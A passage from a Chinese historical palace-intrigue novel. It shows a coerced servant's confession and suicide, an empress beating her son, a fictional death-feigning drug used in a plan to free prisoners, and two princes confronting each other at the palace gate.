他看见地上躺了三个人,赵鹤、陈喆垂头丧气,温如璋、海益盯着他似有所言,乔竹心神色自若,而皇帝眼中的情绪更为复杂,萧回怕了。
他脚步越来越慢,在离皇帝很远的位置就跪下,哭道:“父皇……儿臣知错……”
皇帝哭笑不得:“你何错之有?”
“儿臣……”萧回哭道,“儿臣不知潼裕竟有盐马交易,儿臣有失察之责!”
皇帝讥诮地问:“你什么都不知道?官员贪腐不知,盐马交易你亦不知,朕要你有何用?你倒不如死在战场上!”
萧回跪下:“父皇息怒!”
皇帝感觉胸口有一块大石头压着似的,他指向萧回,大骂:“废物!还要朕为你擦到几岁的屁股!”
话音刚落,皇帝喷出一大口血来。
“太医——救驾——”
—
与此同时,岷王府中。
萧沃端坐在柴房中,冷眼瞪着绑在木柱上的文亭,他没想到叛徒竟是自己身边的人。
“殿下。”文楼提着一桶水,“泼吗?”
萧沃点头。
一桶冷水浇下去,文亭吓得睁开了眼,他鲤鱼似的打挺,看见不远处的萧沃,才堪堪冷静下来。
沉默良久。
“你没有什么要对本王说吗?”萧沃平静得像一尊像。
文亭深深地低下头:“……对不起主子。”
萧沃咬紧了后槽牙:“谁指派你来的?”
文亭沉默,他死死咬着下唇,嘴角渗出血来。
萧沃问:“是昌宁,是萧回,还是陈后?”
文亭未置可否。
“是‘上位’,”萧沃抬眼凝视文亭,“对吗?”
文亭红了眼眶。
“那就是了。”萧沃讽刺地笑出声,“你们的‘上位’,既不是我说的那几个人,为何一直在帮老二?”
文亭摇头:“……殿下,我什么都不知道。”
“怪了。”萧沃说,“你是‘上位’派来的人,却不知道他是谁,你们都很喜欢给身份不明的人卖命啊。”
文亭一言不发。
萧沃轻飘飘地说:“垂髫之年,你便在我身边了。现在却在我背后捅刀子,文亭,你该下地狱。”
文亭嗫嚅道:“属下是被逼的。”
“我信。”萧沃说,“但你不信我会帮你解决问题。”
文亭架不住地哭了:“他们……绑了我的妹子。我妹妹到现在都在他们手上,他们用我妹的命要挟我……我从没想过要背叛殿下,可我妹妹……”
难听的话都到了萧沃嘴边,但抬眼看到文亭无地自容的模样,萧沃终究把它们都咽了回去:“他们是谁?”
“属下至今没见过他们的真面目。只是说,‘上位’要我监视殿下,有任何异动,都要报给他,否则……就要了我妹的命。”文亭倒了口气,“他们拔了我妹的牙给我看,我,我吓坏了。”
萧沃把头扭向了一边:“你都告诉了他们什么?”
文亭如实交代:“殿下动身去潼裕,叶小侯爷携李纳庄典回京……其余的,我没说。”
萧沃:“关于王妃,你说了多少?”
文亭摇头:“属下不知道,什么都没说。”
“好。”萧沃点头,“昌宁跟他们有关系吗?”
文亭否认:“没有。”
萧沃转到他真正想问的:“关于兰见春,你又说了多少?”
“属下没说。”2文亭说,“属下怕说了,他们会对兰夫人下手。”
“但他们在她进晦朔司的前一晚要杀了她!”萧沃说,“那时候,她的存在只有你、我、陈瑛知道。不是你说的,难道是陈瑛?”
文亭摇头:“属下不清楚。”
“文楼,告诉王妃,陈瑛不可信。”萧沃回眸看
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文亭,“除了‘上位’,还有谁想要她的命?”
文亭答不上来,但萧沃心中有了答案。
既然不是“上位”的手,还有皇帝想要她的命——那场加试并非空穴来风。
“你出卖我,我容不得你。”萧沃叹息,“文亭,你还有什么话说吗?”
“属下有罪,殿下怎么罚都是应该的。”文亭说,“属下就放心不下小妹,她还在‘他们’手里,生死未卜。”
萧沃站起身:“我尽力帮你找到她。”
“多谢殿下。”文亭潸然泪下。
“文楼,把东西给他。”是文亭的雁翎刀。
文楼把绑住文亭的绳子解开,之后把雁翎刀递了过去。文亭双手接过刀,忽然一滴水落在他手背。文亭抬头,看见文楼已经哭成了泪人。
萧沃望着窗外,夕阳欲颓,撒了一地的血。他似乎听见了孩子的哭泣声,他一眨眼,院子里有两个男孩。
一伙太监围着一个穿龙袍的人,他们居高临下地看着男孩,忽然,皇帝说了一声什么,便有太监递给他一把戒尺。皇帝扬起胳膊,那个又瘦又小的男孩冲出来,把另一个男孩护在了身下。
“殿下。”
萧沃转头,文亭给他磕了三个响当当的头,他把刀夹在自己脖子上,哽咽道:“属下对不起你。”
萧沃咬紧牙关,凝视那把刀,泪打湿了衣衫。
“二殿下与公主,并非兄妹!”
萧沃正要回头,文亭手中的雁翎刀划出了个弧线,“扑通”一声,他头朝前栽过去,萧沃还未从他最后那句话回过神,文亭就咽了气。
文楼不知道该怎么办:“殿下!”
“连他的刀一块,埋了吧。”
萧沃推开了柴房的门,撞倒了文阁。他看着萧沃红彤彤的眼眶,递给了他一只手帕。萧沃没有接,把头抬起来,让眼泪往回流。
文阁的手停在半空前后为难,最后还是收了回去,远望柴房的黑暗,说:“殿下,文台传信说,宫里出事了。”
萧沃不说话。
“陛下震怒,吐血,昏了过去。”
“死了吗?”萧沃问。
“太医救的及时,”文阁说,“陈后让人封锁了乾清宫,下令朝臣无诏不得入宫。”
“他倒不如死了。”萧沃失望地说,“吊口气,更麻烦了。”
文阁说:“陛下并未下旨查西北盐务。”
“只是吐了口血?”
文阁点头:“是。太医说,急火攻心。”
“那还真死不了。”萧沃淡淡地说,“本王这就递奏本,面见陛下。”
“陈后或许不会让殿下进去。”文阁说,“殿下,我怕他们会趁此机会,杀人灭口。”
萧沃:“叶崇他们人在哪?”
“晦朔司大牢。”文阁说,“晦朔司那帮人,未必与皇帝是一条心。他们都敢当街杀人,很难讲会不会在晦朔司动手。”
“兵来将挡水来土掩。”萧沃不甘心地说,“兰见春伤的很严重,我也没法把手伸进晦朔司里。”
文阁问:“那我们该怎么办?”
萧沃想了很久,才说:“等。”
43. 桎梏
“你除了给本宫惹祸还会做什么?”
长春宫内,烛光暗淡。
萧回跪在陈昀面前,他低着头,右手悄悄伸到左袖口,挠胳膊上的疤痕。他一言不发,而萧锦站在陈昀的身后,用冷漠的目光打量萧回。
陈昀斜眼瞪他:“你手下的人都是一群废物吗!连这几个人都拦不住!”
萧回僵硬地回答:“母后,儿臣知错了。”
“潼裕到上京三千里,愣是拦不住这三个人。”陈昀咬牙切齿地说,“那么多钱那么多精力投进去,结果养出来一帮废物吗?”
萧回:“儿臣知错了。”
陈昀恨铁不成钢:“这么多年,本宫交给你的事,你什么时候办好过?非要本宫把饭喂你嘴里才行!拖到了上京,拖到了他们冲到乔竹心面前,你的人才肯动手吗?”
萧回:“儿臣知错了。”
陈昀反问:“知错?本宫看,你可是明知故犯!那可都是死士,就这三个人,能拖到让他们进京?你是不是故意的?故意在乔竹心面前动手,好让陛下知道,本宫的所作所为!”
萧回耷拉着脑袋,这回连错都不认了。
萧锦说:“母后,怨不得二哥,一定是因为死士无能。”
“开什么玩笑!”陈昀盯着萧回,“本宫养了你二十多年,难道不知道你有多大能耐?叶崇能进宫,不是意外,是你故意的。”
萧回沉默。
陈昀低吼道:“回答本宫,是不是?”
萧回仍答:“儿臣知错了。”
陈昀又给他一巴掌,指着他鼻子骂:“事情落到今日这个局面,都是因为你不听话!”
萧回抿着嘴,像一块木头似的。
萧锦急道:“母后息怒!”
陈昀:“为何要派人去盐场?还拿着火铳,生怕别人不知道,你屹王殿下发现了西北有人贩私盐吗?”
“母后的人当街抓壮丁,还敢杀乔竹心的人,这事迟早得传父皇耳朵里。”萧回说,“儿臣只是为了自保。”
陈昀甩了他一巴掌。
萧回脑袋嗡嗡的,他不耐烦地皱起眉头,怎么还要挨打,怎么有挨不完的打?
萧锦赶紧给她跪下来,说:“母后息怒!”
“你永远都是个养不熟的狼崽子!”陈昀戳他的脑门,修长的指甲扎得萧回骨头疼,“本宫这么做,还不都是为了你!”
萧回说:“母后不是为了儿臣,而是要儿臣做你的傀儡。”
陈昀又给他一巴掌。
“二哥,别再说了!”萧锦小声说。
萧回嘴角渗出血,说:“儿臣对那个位置,没有任何期待。倒是母后,有父皇的宠爱还不满足,还想要当太后。”
陈昀眯起了眼睛,发话道:“锦儿,拿本宫的戒尺来。”
萧锦求道:“母后!”
“取来!”陈后回头瞪了她一眼。
萧锦怕得很,赶紧把戒尺呈给了陈昀。这把戒尺是紫檀木的,极其坚硬,打在身上就像被铁片刮肉一样疼。
萧回撸起袖子,露出手肘内侧,闭上了眼睛,身体不自觉地发抖。
风搅动,戒尺比他想象得来得更快。
“啪”地一声巨响,他的手肘瞬间变红,火辣辣得像被火烧似的。
萧回垂得脑袋,他不敢看陈昀凶神恶煞的眼睛。他应该早就习惯才对,可是今年他二十一岁了,还跪在这,还要像个罪犯一样挨打,他就觉得难过,特别特别难过。
他想逃,或者,干脆被陈昀打死好了。
“我们不该这样。”萧回说,“卖官,走私,屯兵……样样拉出来都是死罪。”
陈昀用戒尺指他的鼻子:“你怕什么?无论是前朝还是晦朔司,都有我们的人。”
萧回绝望地说:“父皇什么都知道,父皇绝对什么都知道!母后这么做,只是自取灭亡!”
“烂泥扶不上墙!”陈昀捂着自己的胸口,骂道,“我为你筹谋二十二年,整整二十二年!我在你身上费了多少精力?结果你,就是个扶不起来的阿斗!”
萧回说:“我不想像个蛐蛐一样,被人挑弄着,跟同类斗来斗去。母后,老老实实做个闲王不好吗?为何一定要争皇位,一定要杀个你死我活呢?”
陈昀怒道:“本宫都是为了你好!”
“我不需要!”萧回抬高了声音说,“从小到大你都是这句话,你可曾问过我,你给我的东西我到底想不想要!”
陈昀又给了他一戒尺。
萧回捂着胳膊,压抑着所有情绪,说:“我疼。”
“没有本宫为你争,你都活不到现在!”
萧回哽咽道:“母后,我疼。”
“狼心狗肺!你若是有老大一半努力,本宫何至于此?!”
萧回哭着说:“母后,我疼!”
“从小你就不用功,开蒙比老大晚就算了,脑子迟钝还不用功!练骑||射,也比不过人家。若不是本宫帮陛下处理了景怡,何来今日的后位,你又如何能从庶出变嫡出,一个庶子,别说老大了,你连那个方人的老三都比不上!”
萧回皱紧了眉头:“我说,我疼……”
陈昀自顾自地骂:“脑子迟钝就算了,还不听话,本宫要你往前走,路都帮你铺好了,你不愿意走,本宫就让人抬着你往前走,可你偏要故意搞砸一切,故意让本宫,一次次,因为你寒心!”
萧回却问:“你到底是不是我母后?”
陈昀终于止住了骂,她用看怪物的眼神看着萧回。
长春宫陷入了怪异的沉默,好像有一只鬼,躲在暗处观察所有人。
良久,陈昀才问:“你为何……问这样的问题?有人在你跟前嚼舌根吗?”
萧回抬头看她:“母后为何心虚了?”
陈昀感觉被他耍了:“别人嚼舌根你就信?本宫有多爱你,你感受不到吗?”
萧回讽刺地笑了。
萧锦看向陈昀的后背,她在这沉默之中品味到了异样的感情。像一根幼芽,萌发、滋生。
萧回说:“从小到大,我所有的一切都是听从母后的安排。我该喜欢什么不喜欢什么,都要听母后的,就连娶王妃,都要娶母后喜欢的,母后从未问过我喜欢什么。可为人父母,不应该会在乎孩子的喜好吗?”
萧锦:“二哥!别说了。”
陈昀别过了头,与其说是羞愧,说是失望更合适。
萧回:“萧锦虽是公主,但母后至少知道她爱吃冰酥酪,不能吃蟹,不然会长疹子。她不愿意嫁人,你便劝父皇不要给她指婚。可为何到了我这,你只会关注我比萧沃差多少,其他的一概不关心!”
陈昀侧眼盯着萧回。
萧锦劝萧回:“二哥,给母后认个错吧。”
“你何曾有一刻,真正将我当做是你的孩子!”萧回低吼,“我不过是你的一条狗!”
萧锦抓住萧回的衣角,恳求:“二哥,千万别再说了!”
“如果不能做个母亲,”萧回留下一行泪,“那就请你做个人,也请把我,当做一个……人。”
陈昀牙咬得咯咯响。
萧锦抱着他的手,用自己的脸颊贴上他的手背:“二哥,求你,认错吧,不要再气母后了,求你……”
“好,好,二哥答应你。”萧回一手抱住萧锦的后脑,像安抚孩子一样抚摸她,转眸直视陈昀的眼睛,“从现在开始,儿臣什么都听母后的。”
陈昀失望地摇头。
“母后要挟天子以令诸侯,儿臣便帮母后。母亲要造反,儿臣便帮母亲杀了父皇。”萧回站起来,“儿臣……告退。”
萧回真的走了,甩下一堆大逆不道的话,头也不回地走了,留下陈昀像被雷劈了似的僵在那。
“母后,”萧锦爬向陈昀,抓住她的衣袖,“二哥肯定失心疯了,母后千万别往心里去。”
“他居然说本宫心里没他。”
萧锦说:“也不知道是谁给他吹了阴风,故意挑拨二哥跟母后的关系——”
啪!
陈昀也给了萧锦一个巴掌。
萧锦立马给她跪了下来:“母后!儿臣不止做错了什么……”
“别乱嚼舌根,”陈昀剜了她一眼,“别以为本宫不知道你说的是谁。”
萧锦捂着自己的脸,小声说:“是……”
“她比你更像本宫的孩子。”陈昀白了她一眼,拂袖而去。
萧锦腮边火辣辣的,她捂着脸离开长春宫,表情呆滞得像一具尸体。她沿着长长的暗淡的宫道,漫无目的地走,最后漂到了宫墙上。
月光洒在地上,往远看,上京城又被笼在了白蒙蒙的烟霭中。整个皇宫,就像一个大囚笼,四野都是烟霭,四野都是白茫茫一片,只有高墙之内,魑魅魍魉的面孔是清晰的。这烂地方,日日夜夜百鬼出行,骇得人不敢闭上眼,不敢睡着觉。
最后她站在离月亮最近的地方,愤恨地盯着夜空。
“皇宫的天就没亮过。”
萧锦微微回过头,看见萧回也站在城墙上,她问:“二哥也会讨厌皇宫吗?”
“亲人不像亲人,仇人又不像仇人。”萧回咬着牙,“这皇宫,把人逼成了鬼。”
萧锦说:“母后为了二哥的前途费尽心机,却从不会这样对我。”
萧回问:“你也想被戒尺打得体无完肤?”
萧锦松开手,露出自己被扇红的脸颊。
萧回看见她被打,竟笑了出来:“原来你也会挨打。”
萧锦愤恨地问:“你什么意思?”
萧回笑道:“我以为你只会在我挨打挨骂的时候卖乖呢。”
萧锦问:“我们同病相怜,为何要互相为难?”
“不,我们不一样。”萧回对她说,“我这一生都被人逼着活着,而你至少可以选择。”
萧锦问:“选什么?选哪个纨绔嫁了,然后在后院里,压抑一辈子吗?”
萧回问:“那你想要什么?”
萧锦别过头:“我想要的,永远都得不到。”
萧回低头看自己的脚,月亮在他身后,好像心里所有阴暗的想法都被抛到了脑后。
萧回小声说:“我也是。”
萧锦:“我说了,我们同病相怜。”
萧回瞪着她的脖颈,说:“今日在长春宫,我并非空穴来风。”
萧锦马上就知道他的言外之意是什么:“二哥?你……知道了什么?”
萧回从袖中取出一个小竹筒,递给萧锦。
萧锦接过,拆开,顿时变了脸色:“二哥,这是……这怎么……这绝对不是真的。”
“东窗事发之前,我劝
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你早些找个硬一点的靠山。”萧回怜悯地瞪着她,“不然,我保证不了你也能活。”
“你为什么要告诉我这些?”萧锦举起竹筒,“我不想知道。”
“我以为你会想知道,”萧回露出一个天真的笑,“现在你可以肆无忌惮地喜欢你喜欢的人。”
萧锦:“可我不想那样。”
“别装了,”萧回讽刺道,“你以为我不知道你房中挂着一幅男人的画,没有脸,但他腰上有一块水滴状的玉佩,那是先皇后的遗物。”
萧锦失望地望着萧回,这张苍白的脸,这双饱含遗恨的凤眼,怎么能承下自己似海深的爱与恨呢?
“你不懂,萧回。”
“没什么不好承认的,从小到大,你总会做出一样的选择。”萧回笑,“这世上只有我疼你,我知道你需要真相,所以历经千辛万苦,也要把它带给你!萧锦,这世上没有什么能阻拦你了,去吧,去投靠他,然后帮他杀了我!”
萧锦恼羞成怒,甩了他一个巴掌。打得不疼,但她绞丝的金戒指刮疼了萧回,刷地一下就起了红印子。
萧回捂着脸,讶异地说:“你恨死我了吧。”
“我不需要真相,”萧锦哽咽道,“我习惯了这样活着。你为何要把一切都撕到明面上来,你为何那么恨我?”
“人不能连自己是谁都不知道!”萧回凄厉地低吼,“我们这种人,生下来被困在囚笼,贫瘠得只能感觉到恨与疼。你难道享受无知无识地活着,享受不明不白地被人摆弄吗!”
萧锦怜悯地望着他:“你什么都懂,萧回,你活得不是比我更痛苦么?”
萧锦喘不上来气,她与萧回擦肩而过,向台阶走去。她踉踉跄跄地往下走,膝盖瘫软,没走两步,直接瘫在了台阶上。她望着黑洞洞的前方,低声地哭。
而城楼上的萧回,呆愣愣地望着雾蒙蒙的世界,像一具没有灵魂的躯壳。
“收手吧,”萧锦哽咽道,“你的孩子还那么小。”
萧回沉默好久,才犹犹豫豫地摇头:“我无路可逃。”
前方多歧路,漫漫无尽头。
—
乾清宫内,陈昀侍奉在皇帝床榻前。
她手里端着药碗,用药勺边搅合边吹。
皇帝望着她纤细的身影,一时发呆了、出神了。他伸出手,试图去摸她的头发,结果两人之间隔得距离,让他碰不到陈昀,甚至连她的凤冠都摸不到。
皇帝暗自泄了口气,他们什么时候变成这样了,怎么隔得那么远呢?
陈昀轻轻抿了一口,确定温度正好,再给皇帝喂。
皇帝盯着她,不错眼珠地,喝下一口、又一口。
“陛下这样盯着臣妾,”陈昀把空碗放到一边,“臣妾还以为自己做错了什么。”
皇帝伸出手,陈昀便把自己的手放在他掌心里。皇帝的拇指抚弄她的虎口,眼睛却从她的眼睛看到她的唇、她的胸膛、她的腰、她的臀……
陈昀僵硬地坐着。
皇帝失望地说:“就算像这样,两个人在一张床上,你也不肯跟朕多说一句话吗?”
陈昀挤出一个僵硬的笑:“陛下想要臣妾说什么?”
皇帝蹙起眉头,即便感受到她的不自在,他也不肯放手,他问:“昀儿,没什么话要对朕说吗?”
陈昀问:“臣妾不知道陛下想听什么。”
“什么都好,你今天遇见了什么人,做了什么事,吃了什么东西,”皇帝说,“或者……孩子。”
陈昀答:“孩子们都很好,陛下费心了。”
“算了。”皇帝松开了手,他看见陈昀迅速收回手。
他失望地别过眼,问:“叶崇好了吗?”
“那人在狱中就像死了一样。”陈昀说,“三个太医轮流为他看过,都说身体康健。但他就是不醒,装昏,连云栈也拿他没办法。”
皇帝冷哼一声:“他等人来救他呢。”
陈昀答:“除了送信到内阁问疾,岷王并没有其他动作。”
皇帝问:“刺客都是谁派来的,有头绪吗?”
“刺客都是死士,晦朔司没有抓到活口。”陈昀端详自己的指甲,说,“线索都断了。”
“罢了。”皇帝看向窗外,“几位阁臣还在宫里吗?”
“按照陛下的旨意,都留在宫里了。”陈昀说,“但这事闹得沸沸扬扬,宫外议论纷纷。”
皇帝问:“说什么?说,你陈后挟天子以令诸侯吗?”
陈昀看向皇帝:“臣妾都受得住。”
皇帝主动握住她的手:“待朕痊愈后,必定不会亏待你们母子。”
“为陛下分忧,是臣妾的之责。”陈昀眉头渐渐舒缓,“并非是要什么赏赐。”
皇帝:“代理朝政这段时间,辛苦你了。”
陈昀主动拥抱皇帝,伏在他怀里问:“只是臣妾不明白,您为何要留几位阁臣在宫中?”
皇帝冷下来脸:“朕自有安排。”
阁臣被“掬”在宫中,肯定会有人坐不住,骂陈昀挟持天子。京中流言四起,而叶崇又困于晦朔司大牢,澄阳侯叶雷为了独子也会投靠萧沃。
有景皑的靖公军和叶雷的禁军襄助,现在就是萧沃掀起宫变、除掉陈昀和萧回的最佳时期。
皇帝在等,萧沃会不会谋反。
44. 危险
兰见春的眼皮跟灌了铅一样睁不开。
她感觉来到了一个黑漆漆的“监狱”。只有凛冽的风在身旁呼啸,身后好像还有一只手把她往前推。
“别,别……”兰见春想往回走,结果适得其反,身后那股力越来越大,直接把她推了出去!
兰见春感觉整个人都飘了起来,随后,她感觉有一块巨大的石头拖着她下坠、下坠——
她尖叫,慌乱中伸出手。
忽然有个人抓住了她,拼命地把她往上拉,一直呼唤她的名字:“见春!见春!”
兰见春一激灵,睁开眼,看见了吴泪:“同知……”
吴泪松了口气:“三天,你终于醒了。”
兰见春环顾四周,问:“我这是在哪?”
“我家。”吴泪坐在脚凳上,“那天我听见司丞的哨声,赶紧去找你们。结果遇见背着你往外逃的大殿下,把你截了过来。”
兰见春尝试起身,结果腹部疼的不行。
吴泪把她摁回去:“你别扯坏了伤口!”
兰见春关切道:“他们、他们进宫了吗?”
吴泪点头:“你先好好休息,别的事以后再说。”
“不行,同知,这是潼裕的事。”兰见春疼得脑袋直冒汗,“他们现在怎样了?”
吴泪神色凝重:“叶小侯爷发现潼裕有国贼,用大燕的盐跟力剌换战马。陛下气急攻心,病了。皇后趁机封锁乾清宫,把四位阁臣跟司丞都关在了宫里,还不准任何人探视。”
兰见春问:“叶小侯爷他们呢?还活着吗?”
吴泪:“他们在晦院大牢。”
“他们会不会有危险?”兰见春着急地说,“司丞不在,正是杀人灭口的好时机。”
“你别担心。”吴泪拍拍她的手背,“咱的人都盯着呢,他们现在还很安全。”
兰见春说:“同知的意思是……守株待兔?”
“聪明。”吴泪说,“这几个人知道太多了,‘上位’一定会再次出手灭口。我们只需要等,跟‘上位’比谁更有耐心。”
兰见春想了想:“我还是不放心,如果晦院的人动手,我们在外根本不知道。”
“我们总不能挤进大牢里盯着他们。”吴泪恍然大悟,“我们为何不能去大牢里?”
兰见春无助地挠脑袋:“您是什么意思?”
“你说得对,我们在外面,永远不知道他们什么时候动手。”吴泪说,“我知道一条密道,直通司丞的书房。”
兰见春问道:“您要做什么?”
吴泪镇静自若:“劫狱。”
“同知,这太冒险了!”兰见春根本不敢想,“晦院大牢那是什么地方?万一被抓到,轻则死无全尸……”
吴泪已经在计划怎么偷天换日了:“大牢每过个时辰就轮班,中间有半柱香的时间,无人看管犯人。只要我趁此机会进大牢,就能找机会把人带出来。”
“因为章玉良我们已经得罪了一遍连云栈。”兰见春担忧地说,“同知,别再冒险了。”
吴泪说:“若他们死在牢里,我更难过。”
兰见春抓住她:“那我跟你一起去。”
“太危险了,你身上还有那么重的伤,得好好养着。”吴泪心疼地把她额前的碎发拨到脑后,“再有,不想让那三个人死的还有大殿下,我会寻求他的帮助。只要证人在手,就不会被人卡脖子。”
兰见春握住吴泪的手腕,她血液的滚烫温暖了兰见春冰凉的身体。兰见春眼睛亮晶晶的,说:“我跟同知一起去见大殿下。”
“咚咚咚……”
“谁敲门?”吴泪抬高了声音问。
“我,萧荫槐。”
吴泪小声嘟囔:“这人谁?”
“是大殿下……”兰见春小声说。
吴泪直接被床弹到门边,她拉开门,正巧对上萧沃阴沉的眼神。吴泪挡在门口,质问:“私闯官员宅邸,殿下好大的胆子。”
萧沃拱手躬身:“事况紧急,请同知恕罪。”
吴泪不顺这台阶下:“殿下有何贵干?”
萧沃说:“自那日同知把兰见春带走,就杳无音讯。同知不是答应了本王,每日都会送信给磬音楼说明她的情况吗?您食言了,本王只好登门拜访。”
兰见春出事那日,吴泪为了让萧沃把人给她,的确许下了这样的承诺。谁承想萧沃真当真啊……
吴泪尴尬地笑:“那殿下也不能直接闯进来……”
“本王已经向同知赔罪了。”萧沃认真地说,“若你我再纠结这个,屋里的兰大人就要喝好几口西北风了。”
吴泪让开了路:“殿下请进。”
萧沃颔首致意,跨进了房中,坐在了离兰见春最远的小桌旁。兰见春用看怪物的眼神看萧沃,像是在质问他,怎么能直接闯进女官的家中。
萧沃挨不住那眼神,别开了目光。他时不时把弄腰上的香囊,好像很忙。吴泪关上门,手都不知道放哪好了。
“你们刚才说的话,本王都听见了。”萧沃开门见山,“吴泪,你这是与虎谋皮。”
吴泪说:“可臣没有别的办法。我已经把连云栈得罪透了,她根本不给我靠近大牢的机会。”
萧沃说:“难道同知以为,劫狱就是活路了吗?”
吴泪无奈地叹息:“请殿下赐教。”
“本王比谁都希望那三个人活着,”萧沃说,“本王有办法。”
萧沃从袖中取出一个小药瓶,摆在了桌上:“此乃辽北毕息散,服下后一个时辰内脉息全无。过后再施针,人能活过来。同知把此药放在犯人的饭菜中,他们就能暂时断了气。待晦院将‘死人’运出,就是我们带人回来的时候。”
吴泪问:“当真?”
萧沃不大高兴地瞪了她一眼。
“那必然是真的。”吴泪想了想,“若他们不把人放了怎么办?司丞不在,连云栈便无法无天。”
萧沃说:“明日本王就会进宫,请求面见陛下,本王会劝说陛下放了几位大人。但乔竹心是什么态度我们不清楚,若她跟帮了老二,
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那本王也没办法了。”
“司丞对陛下忠心耿耿。”吴泪说,“陛下如何选,司丞便如何选。为今之计,是让陛下做出决定,查还是不查。”
兰见春担忧地望向萧沃:皇帝的态度难以捉摸,没人知道他这一次会帮哪一边。
萧沃整理自己的袖子,不甘心地咬后槽牙:“明日,本王会尽力而为。”
“殿下,”吴泪问,“陛下醒了吗?”
萧沃毫不犹豫地答:“两天前就醒了。”
吴泪微怔:萧沃的消息把她都灵通,自己打听了那么多天都不知道,萧沃却知道得那么清楚,可见御前必定有他的人。
吴泪问:“殿下有几成把握吗?”
“四成。”萧沃深吸一口气又缓缓舒出,感觉胸闷略微好了一点,“本王也不知道父皇心中到底在琢磨什么。”
皇帝明明只昏了一天,而陈皇后却以皇帝昏迷不醒的名义,“关”了内阁和乔竹心整整三天。他默许陈皇后狐假虎威,甘心被她“挟持”,这是不是在给萧回机会?
萧沃说不知道。
他不知道明天这一去,是平安归来,还是被陈皇后当成反贼抓起来。他用叶崇、李纳、庄典三个人再次把萧回架到了火上,这一回,他必须逼皇帝对萧回下手。
“明天,请同知把药放在他们三个人的午饭中。”萧沃劝道,“贸然劫狱后果不堪设想,本王不希望同知因为此事搭进去。”
吴泪尴尬地低下头,她抿起嘴唇,心里有股难言的滋味。
“本王还有一件事要拜托二位。”萧沃站起来,他准备离开了。
吴泪抬起头:“您尽管说,若臣能帮到,臣一定帮。”
“本王想调查萧回的身世。”萧沃重新披上披风,拱手道,“拜托同知了。”
“臣知道了。”吴泪感觉听见了什么不该听的,她低下头偷偷跟兰见春交换眼神。
兰见春恨不得自己聋了。萧回的身世?母亲是陈皇后,父亲是皇帝,妹妹是昌宁公主……这有什么好查的?
“再会。”萧沃走到门边,拉开门闩的时候,他停顿片刻,看向兰见春,“兰大人,保重身体。”
“多谢殿下关心。”兰见春把头转向墙那边,不敢看萧沃的眼睛。
萧沃遗憾地笑了,开门钻进了上京的寒风中。
待他走远后,吴泪趋步来到桌旁,拿起了他留下的那瓶药。她拔盖子闻了闻,无色无味;又拔下簪子直接插进药里,银簪不变色。
“这可真是个好东西。”吴泪惊喜地说,“无味无毒。药效发作后,晦院的人想查也不会查到我们。”
兰见春说:“我就担心,晦院发现他们‘断气’后,不肯把人放出来。不放人就算了,若连云栈补刀怎么办?”
吴泪说:“殿下说,要放在午饭里。大牢一般是午时一刻放饭,这几个人需要在未时左右运到乱葬岗。在此之前,我们一定要保证,皇后肯放人。”
“皇后有陛下默许,只怕殿下凶多吉少。”兰见春眉头都拧成了麻花。
45. 又逼
翌日清晨,萧沃入宫,随行的还有文楼。当然,他并非只身赴鸿门宴,而是给萧回、陈后准备了一份大礼。
他的马停在宫门口,一左一右两名侍卫长枪“铛”地一声交叉在一起,把他拦在了外面。萧沃下马,稳稳地向他们走去。
“岷王殿下,皇后娘娘有旨,无诏不得入宫。”
寒风掠过,荡起萧沃钢青色的披风,像翻起了波涛。他如冬夜的海洋一样冷凄、沉默,深得能把天下万物都吞进去。
两侍卫对视一眼,重复道:“皇后娘娘有旨,无诏……不得入宫。”
萧沃微微侧头,他身后的文楼会意,说:“尔等也是听命行事,殿下不加以为难,让你们的指挥使出来回话。”
两侍卫再次对视,他们支支吾吾,不知所措。
文楼抬高了声音,说:“金吾卫指挥使时承允何在?!”
话音刚落,宫门打开。但见高头马上,是提钢刀、着银甲的萧回。在他身后,是畏畏缩缩如老鼠的时承允。
萧回勾起半边唇角,居高临下地打量萧沃,讥诮地问:“大哥,就自己来的?”
萧沃侧眼凝视萧回,玩味地笑了,依然沉默。
萧回不爽地收起笑容,又问:“叶雷没跟你一起来?景皑没跟你一起来?他们就不怕——你今天死在这里回不去吗?”
萧沃笑出了声,看着他一直摇头。
萧回跃下马,冲门边的两侍卫大吼一声“让开”,拔刀指向萧沃。刚才无论他说什么,萧沃都一言不发,这让他非常不痛快。
萧回咬牙切齿地说:“‘无召不得入宫’,大哥可知,这是何意?”
萧沃笑着,沉默。
“擅闯宫门者,杀无赦。”萧回嗤笑,“大哥要是再往前一步,可别怪臣弟的刀不长眼。”
“皇后不让任何人进宫,亦不让五位臣子离宫,”萧沃疑惑地说,“好大的胆子。”
萧回不服地说:“母后有父皇授意!”
“你还有脸提父皇,”萧沃迎着萧回的刀尖就走上去,“既是父皇授意,圣旨何在?”
萧回说:“父皇口谕,由母后暂领宫中一切事宜。”
萧沃冷笑:“口谕?到底有没有口谕,全凭你一张嘴,对吗?”
萧回不为所动:“臣弟可不敢假传圣旨。”
“好,不敢。”萧沃怜悯地说,“本王要面见父皇,望屹王殿下跟皇后娘娘通传一声,让本王以尽孝道。”
萧回冷笑,上前一步,把刀架在了萧沃脖颈上:“你当我那么傻?你进宫是干什么的,本王不清楚吗?”
“你踏出了宫门。”萧沃垂眸看他的脚,“光天化日之下,屹王殿下要弑兄了?”
萧回抿紧嘴唇,最终还是退了回去。
萧沃:“谨慎一点,父皇还能少为你费心。”
萧回让他这么一激,直接把冲出宫门,把刀架在了萧沃的脖颈上:“你怎么没被死在宗正寺呢?”
“我也很遗憾,”萧沃笑,“或许天命如此吧。”
萧回压着火:“本王不信命。”
“你知道有多少人盯着你吗?”萧沃说,“恰逢春节,京城里闹了这么一出,你以为你们把几位大臣关在宫里,潼裕盐务的烂事就传不开吗?”
萧回:“危言耸听。”
萧沃同情地说:“泊舟,为兄真的不明白,就你这榆木脑袋,是怎么活到今天的。”
萧回大叫:“萧沃!”
“澄阳侯独子与李纳、庄典当街遇刺杀,多少百姓、官员都看在眼里!正逢春节,几位重臣被你们关在宫中,一连三日杳无音讯,上京城都乱成了一锅粥!你们再这么做,无异于与满朝文武离心,不与天下人离心!”
萧回手腕在抖,萧沃抬手,但推不动他的刀。
“母后有令,你要闯宫吗?”萧回咬紧牙关。
“父皇三日前便已苏醒,本王不信所谓的‘口谕’。”萧沃说,“本王要见盖了玉玺的圣旨,若见不到,你、陈昀,就是假传圣旨的逆贼。”
萧回激动道:“你不能进——”
此时,一阵急切的马蹄声从宫外飞过来,金吾卫斥候跪在萧回面前,高声道:“殿下,国子监监生集体罢课,一百八十名监生正聚在宫城外跪谏,高举联名上书,要求朝廷放了四位阁老、彻查潼裕盐务!”
萧回眯起眼,他已经听见了监生们的呼喊:
“请立即释放内阁大臣!”
